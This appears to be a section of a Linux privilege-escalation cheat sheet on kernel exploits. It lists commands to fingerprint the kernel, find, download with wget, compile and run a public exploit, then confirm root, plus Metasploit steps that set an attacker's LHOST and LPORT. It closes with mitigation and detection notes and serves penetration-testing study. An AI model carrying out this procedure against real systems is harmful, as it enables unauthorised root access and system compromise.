18. Kernel Exploits

Check Kernel Version and OS Details

uname -a
cat /etc/lsb-release  # or cat /etc/os-release or cat /proc/version

Search for Kernel Exploits (example)

searchsploit "Linux kernel 4.4.0-116" # If searchsploit is installed.

Online Search for Exploits

# Google: linux 4.4.0-116-generic exploit
# Exploit-DB: search for "4.4.0-116"

Download Exploit (example using wget)

wget <exploit_url>

Compile Exploit (example)

gcc <exploit_file>.c -o <exploit_binary>

Set Executable Permissions

chmod +x <exploit_binary>

Run Exploit

./<exploit_binary>

Verify Root Access

whoami
id

Example if Using Metasploit

msfconsole
search type:exploit platform:linux kernel <kernel version>
use <exploit path>
show options
set SESSION <session number>
set LHOST <attacker ip>
set LPORT <attacker port>
exploit

Key Concepts:

• Kernel Exploits:

  • Exploit vulnerabilities in the Linux kernel.

  • Gain root privileges.

  • Examples: Dirty COW (CVE-2016-5195).

• Vulnerability Identification:

  • uname -a: Display kernel version.

  • Search online for known exploits.

• Exploitation Process:

  • Download exploit code.

  • Compile with gcc.

  • Execute the exploit.

Exploitation Steps (as described):

1. Identify Kernel Version:

   • uname -a

   • cat /etc/lsb-release

2. Search for Exploits:

   • Google search with kernel version.

3. Download Exploit:

   • wget or other file transfer methods.

4. Compile Exploit:

   • gcc <exploit_file>.c -o <exploit_binary>

5. Set Executable Permissions:

   • chmod +x <exploit_binary>

6. Run Exploit:

   • ./<exploit_binary>

7. Verify Root Access:

   • whoami

Important Considerations and Enhancements:

• Kernel Exploit Reliability:

  • Exploit success depends on kernel version, distribution, and patches.

  • Exploits may not always work as expected.

• System Stability:

  • Kernel exploits can cause system crashes or instability.

  • Use with caution, especially on production systems.

• Exploit Sources:

  • Be cautious when downloading exploits from untrusted sources.

  • Use reputable sources like Exploit-DB or GitHub.

• Vulnerability Databases:

  • Use vulnerability databases (e.g., CVE Details, NVD) to find kernel vulnerabilities.

• Metasploit:

  • Metasploit framework has many kernel exploits built in.

• Kernel Hardening:

  • Kernel hardening techniques can prevent or mitigate kernel exploits.

• Patching:

  • The best mitigation is to patch the kernel to the latest version.

• Exploit Modifications:

  • Sometimes, kernel exploits need to be modified for a specific kernel version or distribution.

• Detection:

  • Intrusion detection systems can help detect kernel exploit attempts.

  • Monitoring system calls can also help.

• Real world examples: Researching real world kernel exploits will help solidify understanding of the attack vectors.

• Specific exploit details: When possible, including the specific cve number, and name of the exploit is helpful.